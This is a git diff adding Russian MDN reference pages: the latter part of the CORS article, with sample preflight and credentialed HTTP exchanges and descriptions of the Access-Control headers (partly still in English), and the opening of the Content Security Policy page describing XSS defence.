+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+</pre>
+
+<p>Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришел из содержимого домена <code class="plain">http://foo.example</code>.</p>
+
+<p>Строчки 13 - 22 показывают HTTP-ответ от сервера на домен <code class="plain">http://bar.other</code>. В ответ сервер возвращает {{HTTPHeader("Access-Control-Allow-Origin")}} заголовок, указанный на 16 строке. Использование заголовков {{HTTPHeader("Origin")}} header и {{HTTPHeader("Access-Control-Allow-Origin")}} показывает протокол контроля доступа в простейшем виде. В этом случае, сервер отвечает с <code>Access-Control-Allow-Origin: *</code> что означает, что к ресурсу может получить доступ с <strong>любого</strong> домена кросс-сайтовым способом. Если владелец ресурса <code class="plain">http://bar.other</code> пожелал ограничить доступ к ресурсу для запросов только с <code class="plain">http://foo.example</code>, они отправят обратно:</p>
+
+<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
+
+<p>Отметьте, никакой домен, кроме <code class="plain">http://foo.example</code> (определен ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок <code>Access-Control-Allow-Origin</code> должен содержать значение, которое было отправлено в заголовке <code>Origin</code> запроса. </p>
+
+<h3 id="Предварительные_запросы">Предварительные запросы</h3>
+
+<p>В отличии от <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">“простых запросов” (обсуждено выше)</a>, "предварительные" запросы сначала отправляют HTTP-запрос методом {{HTTPMethod("OPTIONS")}} к ресурсу на другом домене, чтобы определить, является ли фактический запрос безопасным для отправки. Кросс-сайтовые запросы предварительно просматриваются таким образом, так как они могут быть причастны к пользовательским данным.</p>
+
+<p>В частности, запрос предварительно просматривается, если выполняется<strong> любое из следующих условий:</strong></p>
+
+<ul>
+ <li><strong>Если</strong> в запросе используется любой из следующих методов:
+
+ <ul>
+ <li>{{HTTPMethod("PUT")}}</li>
+ <li>{{HTTPMethod("DELETE")}}</li>
+ <li>{{HTTPMethod("CONNECT")}}</li>
+ <li>{{HTTPMethod("OPTIONS")}}</li>
+ <li>{{HTTPMethod("TRACE")}}</li>
+ <li>{{HTTPMethod("PATCH")}}</li>
+ </ul>
+ </li>
+ <li><strong>Или если</strong>, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">или любым другим заголовком с именем, определенным в спецификации Fetch как "имя запрещенного заголовка"</a>), запрос включает любые заголовки, отличные от <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса"</a>, а именно:
+ <ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>{{HTTPHeader("Content-Language")}}</li>
+ <li>{{HTTPHeader("Content-Type")}} (но учтите дополнительные требования ниже)</li>
+ <li>{{HTTPHeader("Last-Event-ID")}}</li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+ <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+ </ul>
+ </li>
+ <li><strong>Или если </strong>заголовок {{HTTPHeader("Content-Type")}} содержит значение, отличное от следующих:
+ <ul>
+ <li><code>application/x-www-form-urlencoded</code></li>
+ <li><code>multipart/form-data</code></li>
+ <li><code>text/plain</code></li>
+ </ul>
+ </li>
+ <li><strong>Или если </strong>один или больше слушателей событий зарегистрированы на объекте {{domxref("XMLHttpRequestUpload")}}, который используется в запросе.</li>
+ <li><strong>Или если </strong>объект {{domxref("ReadableStream")}} используется в запросе.</li>
+</ul>
+
+<p>Ниже приведен пример запроса, который будет предварительно просмотрен.</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;';
+
+function callOtherDomain(){
+ if(invocation)
+ {
+ invocation.open('POST', url, true);
+ invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+ invocation.setRequestHeader('Content-Type', 'application/xml');
+ invocation.onreadystatechange = handler;
+ invocation.send(body);
+ }
+}
+
+......
+</pre>
+
+<p>В примере выше, 3 строка создает XML тело, чтобы отправить <code>POST</code> запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (<code>X-PINGOTHER: pingpong</code>). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type  <code>application/xml</code>, и так как установлен кастомизированный заголовок, этот запрос просматривается.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p>
+
+<div class="blockIndicator note">
+<p><strong>Замечнаие:</strong> как описано ниже, фактический <code>POST</code> запрос не включает <code>Access-Control-Request-*</code>  заголовки; они нужны только для <code>OPTIONS</code> запроса.</p>
+</div>
+
+<p>Давайте посмотрим на полный обмен между клиентом и сервером. Первый обмен - это <em>предварительный</em> <em>запрос/ответ</em>:</p>
+
+<pre class="brush: none notranslate">OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+</pre>
+
+<p>Как только предварительный запрос завершен, отправляется настоящий запрос:</p>
+
+<pre class="brush: none notranslate">POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+</pre>
+
+<p>Строки 1 - 12 выше представляют предварительный запрос с {{HTTPMethod("OPTIONS")}} методом. Браузер определяет, что ему нужно отправить это, основываясь на параметрах запроса, которые использовались во фрагменте кода JavaScript выше, чтобы сервер мог ответить, допустимо ли отправить запрос с фактическими параметрами запроса. OPTIONS - это метод HTTP/1.1, который используется для определения дополнительной информации от серверов, и является {{Glossary("safe")}} методом, что означает, что его нельзя использовать для изменения ресурса. Обратите внимание, что вместе с запросом OPTIONS отправляются два других заголовка запроса (строки 10 и 11 соответственно):</p>
+
+<pre class="brush: none notranslate">Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+</pre>
+
+<p>Заголовок {{HTTPHeader ("Access-Control-Request-Method")}} уведомляет сервер как часть предварительного запроса о том, что при отправке фактического запроса он будет отправлен методом запроса <code>POST</code>. Заголовок {{HTTPHeader ("Access-Control-Request-Headers")}} уведомляет сервер о том, что при отправке фактического запроса он будет отправлен с пользовательскими заголовками <code>X-PINGOTHER</code> и Content-Type. Теперь у сервера есть возможность определить, хочет ли он принять запрос в этих обстоятельствах.</p>
+
+<p>Строки 14 - 26 выше - это ответ, который сервер отправляет обратно, указывая, что метод запроса (<code>POST</code>) и заголовки запроса (<code>X-PINGOTHER</code>) являются приемлемыми. В частности, давайте посмотрим на строки 17-20:</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400</pre>
+
+<p>Сервер отвечает с <code>Access-Control-Allow-Methods</code> и сообщает, что <code>POST</code>, <code>GET</code>, и <code>OPTIONS</code> являются жизнеспособными методами для запроса соответствующего ресурса. Обратите внимание, что этот заголовок похож на заголовок ответа {{HTTPHeader("Allow")}}, но используется строго в контексте контроля доступа.</p>
+
+<p>Сервер также отправляет <code>Access-Control-Allow-Headers</code> со значением "<code>X-PINGOTHER, Content-Type</code>", подтверждая, что это разрешенные заголовки, которые будут использоваться с фактическим запросом. Как и <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> представляет собой список допустимых заголовков через запятую.</p>
+
+<p>Наконец, {{HTTPHeader("Access-Control-Max-Age")}} дает значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальное внутреннее значение</a>, которое имеет приоритет, когда <code>Access-Control-Max-Age</code> больше.</p>
+
+<h4 id="Предварительные_запросы_и_переадресации">Предварительные запросы и  переадресации</h4>
+
+<p>Большинство браузеров в настоящее время не поддерживают следующие переадресации для предварительных запросов. Если переадресация происходит для предварительного запроса, большинство современных браузеров сообщат об ошибке, такой как следующее.</p>
+
+<blockquote>
+<p>Запрос был перенаправлен на 'https://example.com/foo', который запрещен для запросов из разных источников, требующих предварительной проверки</p>
+</blockquote>
+
+<blockquote>
+<p>Запрос требует предварительной проверки, которая запрещена для перенаправления между источниками</p>
+</blockquote>
+
+<p>Протокол CORS изначально требовал такого поведения, но впоследствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">был изменен, чтобы больше не требовать его.</a> Однако большинство браузеров еще не реализовали это изменение и все еще демонстрируют поведение, которое требовалось изначально.</p>
+
+<p>Поэтому, пока браузеры не догонят спецификацию, вы можете обойти это ограничение, выполнив одно или оба из следующих действий:</p>
+
+<ul>
+ <li>изменить поведение на стороне сервера, чтобы избежать предварительной проверки и/или избежать переадресации — если у вас есть контроль над сервером, к которому делается запрос</li>
+ <li>изменить запрос так, чтобы это был <a href="#Simple_requests">простой запрос</a>, который не вызывает предварительную проверку</li>
+</ul>
+
+<p>Но если невозможно внести эти изменения, то возможен другой способ:</p>
+
+<ol>
+ <li>Сделайте <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">простой запрос</a> для определения (используя <a href="/en-US/docs/Web/API/Response/url">Response.url</a> для Fetch API, или <a href="/en-US/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a>, чтобы определить, на каком URL завершится настоящий предварительный запрос).</li>
+ <li>Сделайте другой запрос (“настоящий” запрос), используя URL адрес, полученный вами из <a href="/en-US/docs/Web/API/Response/url">Response.url</a> или <a href="/en-US/docs/Web/API/XMLHttpRequest/responseURL">XMLHttpRequest.responseURL</a> на первом этапе.</li>
+</ol>
+
+<p>Однако, если запрос инициирует предварительную проверку из-за наличия в запросе заголовка `Authorization`, вы не сможете обойти ограничение, используя описанные выше шаги. И вы вообще не сможете обойти это, если у вас нет контроля над сервером, на который делается запрос.</p>
+
+<h3 id="Запросы_с_учетными_данными">Запросы с учетными данными</h3>
+
+<p>Наиболее интересная возможность, предоставляемая как {{domxref("XMLHttpRequest")}}, так и <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> и CORS - это возможность делать "проверенные" запросы, которые осведомленны о файлах <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookie</a> и информации HTTP аутентификаци. По умолчанию, в кросс-сайтовых {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> вызовах, браузеры <strong>не </strong>отправляют учетные данные. Конкретный флаг должен быть установлен для объекта {{domxref("XMLHttpRequest")}} или конструктора {{domxref("Request")}} при его вызове.</p>
+
+<p>В этом примере контент, изначально загруженный из <code class="plain">http://foo.example,</code> выполняет простой GET запрос к ресурсу  <code class="plain">http://bar.other,</code> который устанавливает файлы сookie. Содержимое на foo.example может содержать такой JavaScript:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+ if(invocation) {
+ invocation.open('GET', url, true);
+ invocation.withCredentials = true;
+ invocation.onreadystatechange = handler;
+ invocation.send();
+ }
+}</pre>
+
+<p>В строке 7 показан флаг {{domxref("XMLHttpRequest")}}, который должен быть установлен для выполнения вызова с помощью файлов cookie, а именно логическое значение <code>withCredentials</code>. По умолчанию вызов выполняется без файлов cookie. Поскольку это простой запрос <code>GET,</code> он не является предварительным, но браузер <strong>отклоняет</strong> любой ответ, который не имеет заголовка {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code>, и <strong>не</strong> создает ответ, доступный для вызова веб-контента.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p>
+
+<p>Вот пример обмена между клентом и сервером:</p>
+
+<pre class="brush: none notranslate">GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+</pre>
+
+<p>Также в строке 11 содержится Cookie, предназначенный для контента ресурса <code class="plain">http://bar.other</code>. В случае если <code class="plain">http://bar.other</code> не ответит полем  {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (строка 19), то ответ от сервера  будет проигнорирован и не станет доступным для веб-контента.</p>
+
+<h4 id="Запросы_с_учетными_данными_и_wildcards">Запросы с учетными данными и wildcards</h4>
+
+<p>В процессе ответа на запрос с учетными данными сервер <strong>обязан</strong> указать точный источник в поле заголовка <code>Access-Control-Allow-Origin</code> вместо спецсимвола "<code>*</code>".</p>
+
+<p>Из-за того что заголовки запроса в примере выше включают заголовок <code>Cookie</code>, запрос  провалился бы, если бы значение заголовка <code>Control-Allow-Origin</code> было "*". Но он не провалился: потому что значение заголовка <code>Access-Control-Allow-Origin</code>  - "<code class="plain">http://foo.example</code>" (действительный источник), а не спецсимвол "<code>*</code>", контент, удостоверяющий полномочия, возвращается в вызывающий веб-контент.</p>
+
+<p>Отметьте, что заголовок ответа <code>Set-Cookie</code> в примере выше также устанавливает дополнительные куки. В случае неудачи, возникает исключение, в зависимости от используемого API.</p>
+
+<h2 id="Заголовки_HTTP_ответов">Заголовки HTTP ответов</h2>
+
+<p>Эта секция содержит список заголовков HTTP ответов, которые сервер шлет в ответ на запрос доступа, как описано в спецификации совместного использования ресурсов между разными источниками. В предыдущей секции это описано в действии.</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>Возвращаемый ресурс может иметь один заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, синтаксис которого:</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Origin: &lt;origin&gt; | *
+</pre>
+
+<p><code>Access-Control-Allow-Origin</code> определяет либо один источник, что указывает браузеру разрешить этому источнику доступ к ресурсу; либо — для запросов без учетных данных — значение "<code>*</code>", которое говорит браузеру разрешить запросы из любых источников.</p>
+
+<p>Например, чтобы разрешить http://mozilla.org доступ к ресурсу, можно указать:</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Origin: http://mozilla.org</pre>
+
+<p>Если сервер возвращает название хоста, вместо "*", также может быть указан заголовок Vary со значением Origin, чтобы показать клиентам, что ответы с сервера будут отличаться в зависимости от значения заголовка запроса Origin.</p>
+
+<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p>
+
+<pre class="brush: none notranslate">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+</pre>
+
+<p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>The  {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p>
+
+<pre class="brush: none notranslate">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true.  When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Credentials: true
+</pre>
+
+<p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*
+</pre>
+
+<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p>
+
+<pre class="brush: none notranslate">Access-Control-Allow-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<h2 id="The_HTTP_request_headers">The HTTP request headers</h2>
+
+<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p>
+
+<pre class="brush: none notranslate">Origin: &lt;origin&gt;
+</pre>
+
+<p>The origin is a URI indicating the server from which the request initiated.  It does not include any path information, but only the server name.</p>
+
+<div class="note"><strong>Note:</strong> The <code>origin</code> can be the empty string; this is useful, for example, if the source is a <code>data</code> URL.</div>
+
+<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p>
+
+<pre class="brush: none notranslate">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p>
+
+<pre class="brush: none notranslate">Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<ul>
+ <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10. </li>
+ <li>While Firefox 3.5 introduced support for cross-site XMLHttpRequests and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage</code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/cors/">Cross-Origin Resource Sharing specification</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li>
+ <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>:
+ <ul>
+ <li>How to avoid the CORS preflight</li>
+ <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li>
+ <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/http/csp/index.html b/files/ru/web/http/csp/index.html
new file mode 100644
index 0000000000..b0d13ff4fc
--- /dev/null
+++ b/files/ru/web/http/csp/index.html
@@ -0,0 +1,193 @@
+---
+title: Content Security Policy (CSP)
+slug: Web/HTTP/CSP
+tags:
+ - Безопасность
+ - Справка
+translation_of: Web/HTTP/CSP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>Content Security Policy</strong> ({{Glossary("CSP")}}) - это дополнительный уровень безопасности, позволяющий распознавать и устранять определенные типы атак, таких как Cross Site Scripting ({{Glossary("XSS")}}) и атаки внедрения данных. Спектр применения этих атак включает, но не ограничивается кражей данных, подменой страниц и распространением зловредного ПО.</p>
+
+<p>CSP разрабатывался с возможностью полной обратной совместимости (за исключением CSP version 2, в которой были намеренно определены некоторые противоречия блокирующие обратную совместимость; с деталями можно ознакомиться <a href="https://www.w3.org/TR/CSP2">здесь</a>, в пункте 1.1). Браузеры, которые не поддерживают CSP, все еще могут работать с серверами, которые поддерживают CSP, и наоборот: браузеры, в которых поддержка CSP отсутствует, будут ее игнорировать, продолжая работу в соответствии со стандартными правилами ограничения домена для загрузки контента. В случае, если сайт не предоставляет CSP-заголовки, браузеры, в свою очередь, будут использовать стандартные <a href="/ru/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">правила ограничения домена</a>.</p>
+
+<p>Для того чтобы включить CSP, необходимо настроить сервер так, чтобы в ответах он использовал HTTP-заголовок {{HTTPHeader("Content-Security-Policy")}} (в различных примерах и документации можно встретить вариант заголовка <code>X-Content-Security-Policy</code>. Он является устаревшим и определять его не нужно).</p>
+
+<p>В качестве альтернативы настройке сервера, вы можете сконфигурировать CSP с помощью элемента {{HTMLElement("meta")}}. Например, так: <code>&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"&gt;</code></p>
+
+<h2 id="Угрозы">Угрозы</h2>
+
+<h3 id="Межсайтовый_скриптинг">Межсайтовый скриптинг</h3>
+
+<p>Основная цель создания CSP заключается в устранении XSS атак и сборе данных об их попытках. XSS атаки используют доверие браузера к контенту, полученному с сервера. Зловредные скрипты исполняются в браузере жертвы, поскольку браузер доверяет источнику, даже когда скрипт поставляется не оттуда, откуда кажется.</p>
+
+<p>CSP дает возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешенных источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).</p>
+
+<p>В качестве крайней меры защиты, сайты, которые хотят запретить исполнение скриптов, могут настроить это поведение глобально, с помощью соответствующей опции.</p>
+
+<h3 id="Пакетный_сниффинг">Пакетный сниффинг</h3>
+
+<p>В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершенная стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех <a href="/ru/docs/Web/HTTP/%D0%9A%D1%83%D0%BA%D0%B8">кук с помощью специального флага</a>, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищенному каналу<strong>.</strong></p>
+
+<h2 id="Использование_CSP">Использование CSP</h2>
+
+<p>Настройка  CSP включает в себя добавление на страницу HTTP-заголовка {{HTTPHeader("Content-Security-Policy")}} и его настройку в соответствии со списком доверенных источников, из которых пользователь может получать контент. Например, страница, на которой происходит загрузка и отображение изображений может разрешать их получение из любых источников, но ограничить отправку данных формы конкретным адресом. При правильной настройке, Content Security Policy поможет защитить страницу от атак межсайтового скриптинга. Данная статья описывает как правильно настроить необходимые заголовки и примеры, как это сделать.</p>
+
+<h3 id="Определение_политики">Определение политики</h3>
+
+<p>Вы можете начать настройку {{HTTPHeader("Content-Security-Policy")}} с определения HTTP-заголовка и указания какую политику использовать:</p>
+
